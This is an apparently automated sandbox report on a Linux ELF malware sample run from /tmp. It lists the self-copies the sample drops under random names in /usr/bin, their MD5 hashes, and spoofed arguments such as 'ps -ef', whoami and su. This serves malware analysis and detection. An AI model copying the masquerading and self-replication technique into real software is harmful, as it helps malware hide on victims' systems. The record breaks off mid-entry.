Analysis Process: Di1p3oLnDb.elf PID: 6532, Parent PID: 6225

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6533, Parent PID: 6532

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qozdbjhhph PID: 6533, Parent PID: 6532

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	/usr/bin/qozdbjhhph sh 6225
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: qozdbjhhph PID: 6535, Parent PID: 6533

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6536, Parent PID: 6225

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6537, Parent PID: 6536

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qozdbjhhph PID: 6537, Parent PID: 6536

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	/usr/bin/qozdbjhhph "ls -la" 6225
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: qozdbjhhph PID: 6538, Parent PID: 6537

General

Start time:	13:41:37
Start date:	05/10/2022
Path:	/usr/bin/qozdbjhhph
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	cbc9a7550ba8cc0a16d56fd5fa5962bd

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6542, Parent PID: 6225

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6543, Parent PID: 6542

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bcnljelvvj PID: 6543, Parent PID: 6542

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	/usr/bin/bcnljelvvj su 6225
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: bcnljelvvj PID: 6544, Parent PID: 6543

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6547, Parent PID: 6225

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6548, Parent PID: 6547

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bcnljelvvj PID: 6548, Parent PID: 6547

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	/usr/bin/bcnljelvvj whoami 6225
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: bcnljelvvj PID: 6549, Parent PID: 6548

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6550, Parent PID: 6225

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6551, Parent PID: 6550

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bcnljelvvj PID: 6551, Parent PID: 6550

General

Start time:	13:41:42
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	/usr/bin/bcnljelvvj "cat resolv.conf" 6225
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: bcnljelvvj PID: 6556, Parent PID: 6551

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6552, Parent PID: 6225

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6553, Parent PID: 6552

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bcnljelvvj PID: 6553, Parent PID: 1860

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	/usr/bin/bcnljelvvj "echo \"find\"" 6225
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: bcnljelvvj PID: 6557, Parent PID: 6553

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6554, Parent PID: 6225

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6555, Parent PID: 6554

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: bcnljelvvj PID: 6555, Parent PID: 1860

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	/usr/bin/bcnljelvvj su 6225
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: bcnljelvvj PID: 6558, Parent PID: 6555

General

Start time:	13:41:43
Start date:	05/10/2022
Path:	/usr/bin/bcnljelvvj
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	09832f1b96069b9ed8a79c5ae07e8aa2

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6563, Parent PID: 6225

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6564, Parent PID: 6563

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: txgakcdvth PID: 6564, Parent PID: 6563

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	/usr/bin/txgakcdvth "netstat -an" 6225
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: txgakcdvth PID: 6569, Parent PID: 6564

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6565, Parent PID: 6225

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6566, Parent PID: 6565

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: txgakcdvth PID: 6566, Parent PID: 1860

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	/usr/bin/txgakcdvth ifconfig 6225
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: txgakcdvth PID: 6573, Parent PID: 6566

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6567, Parent PID: 6225

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6568, Parent PID: 6567

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: txgakcdvth PID: 6568, Parent PID: 1860

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	/usr/bin/txgakcdvth "netstat -an" 6225
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: txgakcdvth PID: 6575, Parent PID: 6568

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6570, Parent PID: 6225

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6571, Parent PID: 6570

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: txgakcdvth PID: 6571, Parent PID: 6570

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	/usr/bin/txgakcdvth "ps -ef" 6225
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: txgakcdvth PID: 6576, Parent PID: 6571

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6572, Parent PID: 6225

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6574, Parent PID: 6572

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: txgakcdvth PID: 6574, Parent PID: 1860

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	/usr/bin/txgakcdvth ifconfig 6225
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: txgakcdvth PID: 6577, Parent PID: 6574

General

Start time:	13:41:48
Start date:	05/10/2022
Path:	/usr/bin/txgakcdvth
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	e9d82c564dc16961ee51fdbc643f03f9

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6580, Parent PID: 6225

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6581, Parent PID: 6580

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kiykrkkimt PID: 6581, Parent PID: 6580

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	/usr/bin/kiykrkkimt "ifconfig eth0" 6225
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: kiykrkkimt PID: 6586, Parent PID: 6581

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6582, Parent PID: 6225

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6583, Parent PID: 6582

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kiykrkkimt PID: 6583, Parent PID: 1860

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	/usr/bin/kiykrkkimt top 6225
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: kiykrkkimt PID: 6589, Parent PID: 6583

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6584, Parent PID: 6225

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6585, Parent PID: 6584

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kiykrkkimt PID: 6585, Parent PID: 6584

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	/usr/bin/kiykrkkimt top 6225
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: kiykrkkimt PID: 6591, Parent PID: 6585

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6587, Parent PID: 6225

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6588, Parent PID: 6587

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kiykrkkimt PID: 6588, Parent PID: 1860

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	/usr/bin/kiykrkkimt ifconfig 6225
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: kiykrkkimt PID: 6593, Parent PID: 6588

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6590, Parent PID: 6225

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6592, Parent PID: 6590

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kiykrkkimt PID: 6592, Parent PID: 1860

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	/usr/bin/kiykrkkimt ls 6225
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: kiykrkkimt PID: 6594, Parent PID: 6592

General

Start time:	13:41:53
Start date:	05/10/2022
Path:	/usr/bin/kiykrkkimt
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	001b2d8ff6e0ddd4dd6c78aeca5375e7

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6597, Parent PID: 6225

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6598, Parent PID: 6597

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: siupwowznp PID: 6598, Parent PID: 6597

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	/usr/bin/siupwowznp su 6225
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: siupwowznp PID: 6603, Parent PID: 6598

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6599, Parent PID: 6225

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6600, Parent PID: 6599

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: siupwowznp PID: 6600, Parent PID: 1860

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	/usr/bin/siupwowznp "ps -ef" 6225
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: siupwowznp PID: 6607, Parent PID: 6600

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6601, Parent PID: 6225

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6602, Parent PID: 6601

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: siupwowznp PID: 6602, Parent PID: 1860

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	/usr/bin/siupwowznp "cd /etc" 6225
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: siupwowznp PID: 6609, Parent PID: 6602

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6604, Parent PID: 6225

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6605, Parent PID: 6604

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: siupwowznp PID: 6605, Parent PID: 1860

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	/usr/bin/siupwowznp whoami 6225
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: siupwowznp PID: 6610, Parent PID: 6605

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6606, Parent PID: 6225

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6608, Parent PID: 6606

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: siupwowznp PID: 6608, Parent PID: 1860

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	/usr/bin/siupwowznp gnome-terminal 6225
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: siupwowznp PID: 6611, Parent PID: 6608

General

Start time:	13:41:58
Start date:	05/10/2022
Path:	/usr/bin/siupwowznp
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	34e74d6766be7ba5c37e7750186592f1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6614, Parent PID: 6225

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6615, Parent PID: 6614

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: urppslzpni PID: 6615, Parent PID: 6614

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	/usr/bin/urppslzpni top 6225
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: urppslzpni PID: 6620, Parent PID: 6615

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6616, Parent PID: 6225

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6617, Parent PID: 6616

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: urppslzpni PID: 6617, Parent PID: 1860

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	/usr/bin/urppslzpni su 6225
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: urppslzpni PID: 6623, Parent PID: 6617

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6618, Parent PID: 6225

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6619, Parent PID: 6618

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: urppslzpni PID: 6619, Parent PID: 1860

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	/usr/bin/urppslzpni uptime 6225
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: urppslzpni PID: 6626, Parent PID: 6619

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6621, Parent PID: 6225

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6622, Parent PID: 6621

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: urppslzpni PID: 6622, Parent PID: 1860

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	/usr/bin/urppslzpni whoami 6225
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: urppslzpni PID: 6627, Parent PID: 6622

General

Start time:	13:42:03
Start date:	05/10/2022
Path:	/usr/bin/urppslzpni
Arguments:	n/a
File size:	548638 bytes
MD5 hash:	b571204d591fa68cb55c7759de34143f

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6624, Parent PID: 6225

General

Start time:	13:42:03
Start date:	05/10/2022
